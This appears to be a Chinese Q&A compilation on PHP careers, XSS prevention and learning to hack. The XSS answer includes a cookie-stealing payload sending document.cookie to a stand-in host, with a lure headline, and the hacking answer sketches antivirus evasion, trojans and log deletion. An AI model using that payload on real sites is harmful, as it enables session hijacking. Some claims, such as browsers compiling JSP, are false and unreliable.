怎么判断php漏洞，对于转行做PHP全栈开发需要做一些什么样的准备？
php 网页开发语言，主要与mysql数据库进行通信，及网页数据处理工作 追问： 就只有这些吗 ？ 那发展前景你觉得怎样 回答： 主要是做这些的，PHP前景不错啊，给PHP开源的人很多，个人觉得ASP火的原因是因为那是微软支持的，但是很多程序ASP的代码比PHP的代码多、复杂，这样导致的后果就是漏洞多！而PHP相对JSP简单，如果要学JSP，也建议先从PHP入手！ 追问： 我学的是java 想看看PHP的怎么样 回答： PHP相对后台语言来说是比较简单的，适合入门！ 追问： PHP适合做前台 大型的开发做的来不 回答： 汗，PHP是做后台的，主要是做网站后台的！ 追问： 哦```` 回答： 告诉你一下ASP，HTML，PHP，JXP有什么区别！首先，就代码而言，html是基本的；jsp,asp,php文档都以html为基础，只是用程序代码动态输出html代码，特点是同一文档根据不同情况可以输出不同的html代码。jsp,asp,php文档都要经过编译后生成html代码，也就是我们在浏览器中看到的结果，不同之处在于jsp是一般浏览器都能编译的，asp和php需要服务器支持，另外cgi也需要服务器支持。 从编程角度看，asp和php都可以支持多充语言编程，可以javascript，vbscript或者perl等等，甚至可以混合语言编程。 不能简单从扩展名判断其文档类型！应该从服务器和源代码来判断。里面有<%...%>的一般是asp文档，里面有$的一般是php文档。由于一般asp和php都有限制，所以在浏览器中采用查看源代码或者直接下载该文档的方法都是看不到真正源代码的，只能看到源代码运行后生成的html，真正得到源代码恐怕只能攻击并pj服务器:( aspx与asp类似，只是支持.net，在开发中更方便，功能更强大。
黑客学习步骤？
需要从基础开始 web渗透开始学习
了解各种web漏洞挖掘方式和各种web工具使用 还有php编程语言 然后再进阶到内网渗透
PHP如何防止XSS攻击？
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
HTML是一种超文本标记语言，通过将一些字符特殊地对待来区别文本和标记，例如，小于符号（<）被看作是HTML标签的开始，<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符（如<）时，用户浏览器会将其误认为是插入了HTML标签，当这些HTML标签引入了一段JavaScript脚本时，这些脚本程序就将会在用户浏览器中执行。所以，当这些特殊字符不能被动态页面检查或检查出现失误时，就将会产生XSS漏洞。
当然我会将标题设计的非常吸引人点击，比如 “陈冠希艳照又有流出2012版(20P无码)” ，这样如果我将里面的alert换成恶意代码，比如：
location.href='http://www.xss.com?cookie='+document.cookie’；或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了，如果服务端session没有设置过期的话，我以后甚至拿这个cookie而不需用户名密码，就可以以这个用户的身份登录成功了。
预防XSS攻击
从根本上说，解决办法是消除网站的XSS漏洞，这就需要网站开发者运用转义安全字符等手段，始终把安全放在心上。
简单点，就是过滤从表单提交来的数据，使用php过滤函数就可以达到很好的目的。
htmlspecialchars() 函数
代码实例：
<?php
if (isset($_POST['name'])){
$str = trim($_POST['name']); //清理空格
$str = strip_tags($str); //过滤html标签
$str = htmlspecialchars($str); //将字符内容转化为html实体
$str = addslashes($str); //防止SQL注入
echo $str;
}
?>
<form method="post" action="">
<input name="name" type="text">
<input type="submit" value="提交" >
</form>
具体操作无法一一写出，需要你边实践边摸索
PHP不用框架搭建后台有多大的难度？
框架的最大意义就是复用，无论其来源是开源第三方，还是自己积累，框架完成了体系结构，基础类的定义和建设，并且在事务处理和安全性方面的不断积累，成熟度和健壮性已经能适应生产环境。
很难想象，面对一个开发任务，还要重新写路由，数据存储处理以及其他基础编码工作。
框架让你集中精力于业务逻辑设计。
做一名黑客有多难？
做一名黑客说难很难，说不难也不是很难，就看你要做到多强大。专业术语听起来很难懂，这里用一个故事做比喻会比较容易理解。网络好比一个城市，电脑好比一块地皮，操作系统就是在地皮上建的一栋房子，各个软件就是房子里的各个功能用具。房子的主人就是电脑的使用者，而黑客就是“小偷”。那做电脑里的小偷有多难呢？下面就详细分析一下。
1、小偷要偷东西，必须要先找到目标现实中的小偷去偷东西前，都会先踩点物色目标。而要去踩点，就必须非常熟悉房子对外的门户，以及通往该房子的道路和车流。网络世界的黑客也一样，他们如果想要进电脑偷东西，就必须要先找到有东西可偷的房子。这就是黑客要掌握的第一个技术“扫描技术”，该技术必须要做到可以发现对外提供的某些特定服务的电脑。所以，黑客必须要非常熟悉电脑对外服务的特性及工作原理，也必须非常熟悉各类网络协议的工作原理。
2、找到目标后，就要开始找进入方法当小偷确定好目标后，就要开始分析目标的弱点，以便找到一条进入目标的方法。黑客也一样，它想要进入电脑，就得开始分析电脑的弱点，然后找到进入的秘密通道。这就是黑客要掌握的第二门技术“弱点分析”。这也要求黑客非常熟悉操作系统的工作原理和软件的架构。同时还必须要非常擅长发现bug、漏洞。有时候目标电脑防护非常严密，黑客还需要借助它的左邻右舍去发现秘密通道。这也就要求黑客需要懂得网络共享、网络访问等技术。
3、找到进入方法后，就要开始冒险之旅了小偷找到进入的方法后，这要开始冒险进入房子了。但是，房子可不是那么随便就可以进入的。小偷需要攻克几道难关，它们分别如下：
翻墙技能：安全一点房子都会在外围有一个围墙，围墙上有铁丝还有报警器。围墙下可能还有未知的陷阱。打狗棒法：有的房子主人养有看家犬。小偷要想过这道关，要么把狗悄无声息地干掉。要么就伪装自己，让狗以为你是可以进入之人。开锁技能：碰到有锁的门或者箱子，小偷要能够快速解锁。飞檐走壁：一不小心碰到房子里有人，小偷必须得巧妙地避开，而且不能让主人发现蛛丝马迹。所以飞檐走壁，不留痕迹是必不可少的。黑客同样面临小偷面对的问题，找到方法后，要开始攻击电脑，就需要攻克这些难题。它们对应的难题如下：
绕过安全软件：很多电脑都装有防火墙，防病毒等软件，它们会阻止异常的访问行为。而且重要的服务器，在网关处还有IPS、IDS等软件，它们会放下蜜罐、陷阱。黑客们必须要清楚这些软件的工作方式，要巧妙地绕开它。获得基础权限：黑客要进入电脑，必须要通过操作系统弱点pj密码，或者绕过鉴权系统。再或者将木马程序打包成正常程序，吸引主人搬进房子，然后木马再偷偷把你放进来。解密技术：对于加密的访问以及加密的文件，正常的访问是看不到数据的。要想进入到这些加密访问或者想看到加密的文件。就必须掌握解密的技术。去除痕迹：黑客拿到东西后，还必须做到不能留下指纹或者记录。否则就算偷到了东西，很快也会被公安机关抓走。这就必须要求黑客掌握删除痕迹的技术了，比如：删除日志，跳板访问等等。4、黑客攻击的难易区分①、初级黑客
以上这些都是黑客必然涉及的技术。对于安全防护不高，又无保密要求的电脑，很多人从网上下载一些黑客攻击软件也能够轻松完成攻击。这类人群只需要掌握一些基本的计算机技术就能够轻松使用这些工具，这类黑客我们可以称之为最初级的黑客。相对比较容易，攻击范围和成果也有限。
②、中级黑客
面对安全防护较高，保密要求一般的电脑，网上随便下载一个工具是完成攻击的。这时候该怎么办呢？这个时候的黑客就必须自己掌握编程技术，对发现的漏洞或者bug，及时自行编写程序。然后让程序自动利用这些漏洞发来发起攻击。也可以让自己写的木马或者病毒程序，自动去感染电脑。比如“勒索病毒”。
③、高级黑客
面对安全防护很高，保密要求又很严的电脑，会编写网络攻击程序也是很难完成的。因为这类电脑可能是通过网闸隔离，也有可能是网络物理隔离的。这对黑客提出的要求就更高了，如何突破隔离措施，如何绕过各种安全防护，安全审计就成为他们必须研究的技术。这类安全技术原本就是针对黑客攻击设计出来的防御手段。所以，这类黑客相当于在挑战全球各大安全防御高手（安全防御高手也是一个高级黑客）。
总结总之，黑客因为要非正常访问电脑，要掌握的知识面势必比较广。不过，做一名用现成黑客工具攻击的黑客并不难。真正难的是成为一名可以自编程的中级黑客。最难的是可以挑战天下安全防御高手的高级黑客。